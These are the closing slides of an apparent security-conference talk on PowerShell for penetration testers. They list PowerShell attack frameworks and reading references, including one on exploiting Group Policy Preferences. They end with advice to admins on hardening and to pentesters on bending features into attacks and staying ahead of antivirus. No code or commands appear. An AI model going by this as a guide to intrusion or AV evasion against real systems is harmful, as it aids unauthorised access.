  • 36. Powered by PowerShell • Existing PowerShell based attack tools – Metasploit PowerShell modules – PowerSploit – Nishang – PowerSyringe • Recommended Reads and References – PowerShell for Pentesters • http://pen-testing.sans.org/blog/2012/04/27/presentation-powershell-for-pen-testers – PowerShell OMFG • https://www.trustedsec.com/august-2010/powershell_omfg/ – PowerShell Code Repository • http://poshcode.org/ – Windows PowerShell Cookbook • By Lee Holmes – Server 2008 Group Policy Preferences (GPP) – And how they get your domain 0wned • By Chris Gates (carnal0wnage) • http://www.slideshare.net/chrisgates/exploiting-group-policy-preferences
  • 37. And to conclude • Sys admins/Network admins/Managers – Check out every new feature introduced by a vendor – Is it necessary for your org? No? Remove/Disable it. – Ensure AV is installed and updated on production environment. – Attend more security conferences to find out what new tech the hackers could use to attack your organisation. • Hacker/Pentesters – Check out every new feature introduced by a vendor – Look at how you can twist various features to do your bidding – Don’t rely on your attacks tools – Remember AV vendors are watching and catching up – Push yourself – come up with innovative tech – Communicate all new tech u find. Our community is very open. You could end up finding an even better way to attack.
  • 38. • Twitter: @roo7break • Web: www.roo7break.co.uk • Email: roo7break@gmail.com